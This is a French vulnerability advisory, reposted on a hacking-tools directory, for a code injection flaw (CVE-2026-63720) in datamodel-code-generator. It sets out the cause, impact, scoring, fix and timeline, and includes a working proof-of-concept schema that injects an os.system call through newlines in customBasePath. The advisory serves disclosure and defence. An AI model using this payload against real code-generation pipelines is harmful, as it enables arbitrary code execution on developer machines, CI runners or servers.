Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/rahulreddykarne/cve-2026-63720-datamodel-code-generator
Analyse des VulnérabilitésExploitationSécurité de la Chaîne LogistiqueApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubrahulreddykarne/cve-2026-63720-datamodel-code-generator

CVE-2026-63720-datamodel-code-generator

Injection de code (RCE) dans datamodel-code-generator via customBasePath non validé (CVE-2026-63720)

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
il y a 17 joursPas encore vérifié

CVE-2026-63720 : Injection de code dans datamodel-code-generator via un customBasePath non validé

Sévérité : Élevée, CVSS 3.1 7.5 / CVSS 4.0 7.5 (attribué par VulnCheck, l'organisme CNA)

Plafond environnemental (déploiement en service réseau) : jusqu'à 9.8

Vecteur (v4.0) : CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Vecteur (v3.1) : CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Versions concernées : datamodel-code-generator < 0.70.0

Corrigé dans : 0.70.0

CWE : CWE-94 (Contrôle inadéquat de la génération de code, « Injection de code »)

Signalé par : Rahul Karne

CNA : VulnCheck

Publié : 26 juillet 2026


Résumé

datamodel-code-generator validait chaque chaîne d'importation contrôlée par le schéma qui pouvait transporter une charge utile d'injection de code, sauf une.

L'outil convertit un schéma d'entrée (JSON Schema, OpenAPI, YAML) en code source de modèles Python. Plusieurs champs du schéma sont rendus directement dans ce code généré, c'est pourquoi le projet les valide comme identifiants Python en pointillés avant utilisation, précisément pour empêcher l'injection. Le champ d'extension de schéma customBasePath est le seul champ apparenté qui contourne cette vérification. Sa valeur circule sans assainissement dans une instruction from ... import ... à la sortie générée. Un attaquant qui contrôle le schéma d'entrée peut intégrer du code Python arbitraire à l'aide de sauts de ligne et d'une expression sans point, et ce code s'exécute au moment où le module généré est importé, ce qui est l'étape suivante normale après la génération des modèles.

Il s'agit d'un correctif incomplet de CVE-2026-55415 (GHSA-5578-w22f-pfx9), qui avait durci les champs apparentés customTypePath et x-python-import contre cette classe d'attaque exacte. Ce correctif ne couvrait pas customBasePath, qui atteint le même point de chute non validé et restait exploitable jusqu'à la version 0.68.1 et sur la branche main jusqu'à la version 0.70.0.

Impact

Exécution de code Python arbitraire dans le processus qui importe ou exécute les modèles générés : la machine du développeur, un exécuteur CI, ou tout service qui génère puis charge des modèles. La confidentialité, l'intégrité et la disponibilité de l'hôte sont entièrement compromises, limitées uniquement par les privilèges de ce processus.

La sévérité dépend entièrement de l'endroit où la génération de code s'exécute sur des entrées non fiables :

  • Flux de travail local du développeur. Un développeur génère des modèles à partir d'un schéma dont il n'est pas l'auteur (un document OpenAPI récupéré ou tiers) et importe le résultat. Le code s'exécute avec les droits du développeur. Il s'agit du cas de base attribué.
  • Pipeline CI / de construction. Un pipeline génère des modèles à partir de spécifications tierces et exécute des tests. Le code s'exécute sur l'exécuteur CI avec les identifiants dont il dispose.
  • Service réseau (plafond environnemental, jusqu'à 9.8). Un service qui accepte un schéma via HTTP, génère des modèles et les charge, par exemple une plateforme B2B qui génère automatiquement des SDK à partir de spécifications OpenAPI fournies par les clients, exécute le code de l'attaquant sur le serveur à partir d'une seule requête non authentifiée sans aucune interaction de l'utilisateur. C'est le déploiement que l'avis apparenté du mainteneur lui-même (GHSA-m34r) désigne comme dans le périmètre.

Qui est concerné : Toute utilisation de datamodel-code-generator < 0.70.0 qui (1) génère des modèles à partir d'un schéma dont la valeur customBasePath est influencée par un attaquant, et (2) importe ou exécute le module généré. Le flux de travail par défaut génération-puis-importation satisfait (2) de manière inhérente.

Qui n'est pas concerné :

  • Toute personne utilisant 0.70.0 ou une version ultérieure, où customBasePath est validé.
  • Les flux de travail qui ne génèrent jamais de modèles qu'à partir de schémas entièrement fiables et propriétaires.
  • Les flux de travail qui génèrent du code source mais ne l'importent ni ne l'exécutent jamais (rares, car générer des modèles pour les utiliser est précisément le but de l'outil).

Portée

MétriqueValeurSource
Téléchargements, tous temps confondus

Détail technique

Cause racine

La valeur du champ de schéma customBasePath est transportée dans le code généré sans contrainte d'identifiant. Trois points du code source importent (chemins relatifs à src/datamodel_code_generator/) :

  • Point d'entrée du schéma. parser/jsonschema.py définit le champ custom_base_path avec alias="customBasePath" (~ligne 644), consommé via _resolve_base_class(...) à plusieurs endroits d'appel.
  • Validation manquante. parser/base.py, _resolve_base_class (~ligne 1665), renvoie la valeur après seulement un normalize() local (déduplication/suppression des espaces). Aucune validation d'identifiant n'est appliquée.
  • Point de chute. imports.py, Import.from_full_path() (~ligne 35), émet la valeur telle quelle sous forme de ligne from ... import .... La valeur est également utilisée comme classe de base dans model/base.py set_base_class (~ligne 1324) et rendue brute par le modèle de template ().

Comme la valeur est écrite dans le code source Python sans contrainte, les sauts de ligne intégrés et une expression sans point survivent dans la sortie sous forme de lignes individuelles analysables, et la ligne du milieu s'exécute à l'importation.

La charge utile est sans point par nécessité. Import.from_full_path divise la valeur sur ., donc un appel os.system(...) normal serait décomposé. Utiliser getattr(__import__('os'),'system')(...) évite tout . tout en résolvant le même appel, et les sauts de ligne environnants maintiennent les lignes from ... import ... émises syntaxiquement valides, de sorte que la ligne du milieu injectée s'exécute proprement.

Pourquoi cela a survécu dans un code source durci

Ce n'est pas un projet qui a négligé l'injection. Le mainteneur a durci cette classe d'attaque exacte à plusieurs reprises à travers de multiples avis (GHSA-5578, m34r, 8m8r, wjv6), en faisant passer à chaque fois une chaîne d'importation ou de type contrôlée par le schéma par _validate_dotted_python_identifier_path avant qu'elle n'atteigne la génération de code. Les champs apparentés customTypePath (validé à parser/jsonschema.py ~lignes 4956, 5202) et x-python-import (~ligne 2096) passent tous deux par ce validateur.

customBasePath est le seul champ apparenté sans un tel appel. Il atteint le même point de chute Import.from_full_path par un chemin différent (_resolve_base_class) qui n'a jamais été câblé dans la validation que les autres champs ont reçue. Le défaut a survécu précisément parce que la défense environnante semblait complète : un relecteur recherchant des chaînes d'importation non validées voit des validateurs sur les champs qu'il vérifie en premier, et celui-ci passe par une fonction d'assistance qui ressemble à une résolution de classe de base plutôt qu'à un traitement d'importation. C'est une lacune dans un correctif systématique, et non une absence de correctif, ce qui explique pourquoi elle a persisté jusqu'à la dernière version.

Conditions préalables à l'exploitation

Un attaquant a besoin :

  1. D'une cible utilisant datamodel-code-generator < 0.70.0.
  2. Du contrôle sur la valeur customBasePath dans un schéma que la cible traitera, en pratique en fournissant ou en influençant le schéma d'entrée (un document OpenAPI/JSON Schema tiers, ou un schéma soumis à un service).
  3. Que la cible importe ou exécute le module généré, ce qui est le flux de travail normal génération-puis-utilisation.

Aucune authentification ni privilège élevé n'est requis de la part de l'attaquant (PR:N). Le score de base reflète le fait que la victime effectue l'action ordinaire de génération et d'importation (UI:R en v3.1 / UI:A en v4.0) ; le déploiement en service réseau supprime même cela, d'où le 9.8 environnemental.

Preuve de concept

Ce qui suit a été exécuté contre le paquet réel et non modifié. Reproduction :

root@kitploit:~
pip install "datamodel-code-generator==0.68.1"
datamodel-codegen --input attack.json --input-file-type jsonschema --output generated_models.py
python -c "import generated_models"

Entrée de l'attaquant (attack.json) :

root@kitploit:~
{
  "type": "object",
  "title": "User",
  "customBasePath": "builtins import object\ngetattr(__import__('os'),'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object",
  "properties": { "name": { "type": "string" } }
}

generated_models.py généré sur la version vulnérable (0.68.1) :

root@kitploit:~
from __future__ import annotations

from builtins import object

getattr(__import__('os'), 'system')(
    'whoami > RCE_PROOF.txt'
)
from builtins import object


class User(object):
    name: str | None = None

L'appel de l'attaquant est émis tel quel dans le code source généré.

À l'importation : la commande s'exécute. Dans l'exécution vérifiée, le marqueur injecté a été affiché sur stdout et RCE_PROOF.txt a été créé contenant l'utilisateur courant (root), confirmant l'exécution arbitraire de commandes via le flux de travail ordinaire de génération et d'importation.

Sur la version corrigée (0.70.0) : le même schéma est rejeté avant qu'aucun code ne soit généré :

root@kitploit:~
Error at schema path 'attack.json': Error: customBasePath must be a dotted
Python identifier path: "builtins import object\ngetattr(__import__('os'),
'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object"

Aucun fichier n'est produit. Le message de rejet nomme directement le correctif : la valeur doit désormais être un chemin d'identifiant Python en pointillés.

Variante de service réseau. Un service HTTP de boucle locale non authentifié qui accepte un schéma POSTé, génère des modèles et les importe, a démontré l'exécution de la commande de l'attaquant sur le serveur à partir d'un seul curl non authentifié, sans aucune interaction de l'utilisateur. C'est la forme de déploiement derrière le 9.8 environnemental. Les fichiers du service et de l'attaque sont inclus dans le dépôt de la PoC.

Regarder la démo

Remédiation

Mettez à niveau vers datamodel-code-generator 0.70.0 ou une version ultérieure :

root@kitploit:~
pip install --upgrade "datamodel-code-generator>=0.70.0"

0.70.0 fait passer customBasePath par la même validation d'identifiant en pointillés déjà appliquée à customTypePath et x-python-import, de sorte qu'une valeur qui n'est pas un chemin d'identifiant valide est rejetée avant la génération de code.

Si vous ne pouvez pas mettre à niveau immédiatement : ne générez pas de modèles à partir de schémas que vous ne contrôlez pas entièrement, et n'importez ni n'exécutez des modules générés à partir de schémas non fiables. Il n'existe aucun indicateur de configuration qui ajoute la validation manquante dans les versions concernées ; la mise à niveau est le correctif fiable.

Note pour quiconque réutilise les composants internes du générateur. Le défaut était un appel de validation manquant sur un chemin de code vers Import.from_full_path, et non une faille du point de chute lui-même. Tout projet en aval qui rend des chaînes contrôlées par un schéma dans du code généré devrait valider chacun de ces champs comme un identifiant en pointillés, et pas seulement ceux qui passent par le chemin évident de traitement des importations.

À propos du score CVSS

VulnCheck (l'organisme CNA) a attribué 7.5 (Élevée), correspondant au vecteur de base utilisé par le mainteneur pour l'avis parent CVE-2026-55415, car il s'agit de la même classe d'injection, du même point de chute Import.from_full_path et du même impact.

  • AV:N : les schémas sont couramment obtenus via le réseau (documents OpenAPI / JSON Schema récupérés ou tiers).
  • AC:H : l'exploitation dépend de la génération par la victime de modèles à partir du schéma malveillant, puis de l'importation ou de l'exécution du code généré.
  • PR:N / UI:R (v3.1) : aucun privilège d'attaquant ; la victime effectue le flux de travail ordinaire de génération et d'importation.
  • C:H / I:H / A:H : exécution de code arbitraire complète sur l'hôte.

Le plafond environnemental est de 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) et s'applique spécifiquement au déploiement en service réseau, où le générateur est exposé à des schémas non fiables et où aucune interaction de la victime n'est requise. Ce chiffre est une note environnementale pour ce déploiement, et non le score de base attribué. Indiquer les deux, et être explicite sur ce qui est quoi, est le cadrage honnête : la base est de 7.5, et elle n'atteint 9.8 que dans le cas d'un service exposé.

Calendrier de divulgation

DateÉvénement

Crédit

Découverte et signalement par Rahul Karne, chercheur en sécurité et membre senior de l'IEEE. Ses recherches portent sur les failles d'injection et de traitement des entrées dans les paquets open source à forte dépendance, notamment CVE-2026-65321 (injection SQL dans PyAthena) et le durcissement de la classe parente autour de cette découverte.

Contact : [email protected] · GitHub : rahulreddykarne

Références

  • NVD (CVE-2026-63720) : https://nvd.nist.gov/vuln/detail/CVE-2026-63720
  • Enregistrement CVE : https://www.cve.org/CVERecord?id=CVE-2026-63720
  • Avis VulnCheck : https://www.vulncheck.com/advisories/datamodel-code-generator-code-injection-via-unvalidated-custombasepath-schema-field
  • Correctif commit 545a96c5 : https://github.com/koxudaxi/datamodel-code-generator/commit/545a96c5
  • Avis parent (correctif incomplet) : CVE-2026-55415 / GHSA-5578-w22f-pfx9
  • Dépôt du projet : https://github.com/koxudaxi/datamodel-code-generator
  • Statistiques de téléchargement : https://pepy.tech/projects/datamodel-code-generator

Presse

Demandes des médias : [email protected]. PoC complète (schéma de l'attaquant, démo de service réseau) et détails techniques supplémentaires disponibles sur demande.

Télécharger l’outil
194 millions
pepy.tech/projects/datamodel-code-generator
Téléchargements, 30 derniers jours16,3 millionspepy.tech
Déploiement typiqueMachines de développeurs, pipelines CI/CD et plateformes de génération de SDK qui génèrent du code à partir d'OpenAPI / JSON Schemainhérent à la fonction de l'outil
class {{ class_name }}({{ base_class }}):
13 juillet 2026Vulnérabilité identifiée
14 juillet 2026Signalement (divulgation coordonnée)
21 juillet 2026Correctif validé (545a96c5)
24 juillet 2026Version corrigée 0.70.0 publiée
26 juillet 2026CVE-2026-63720 publiée par VulnCheck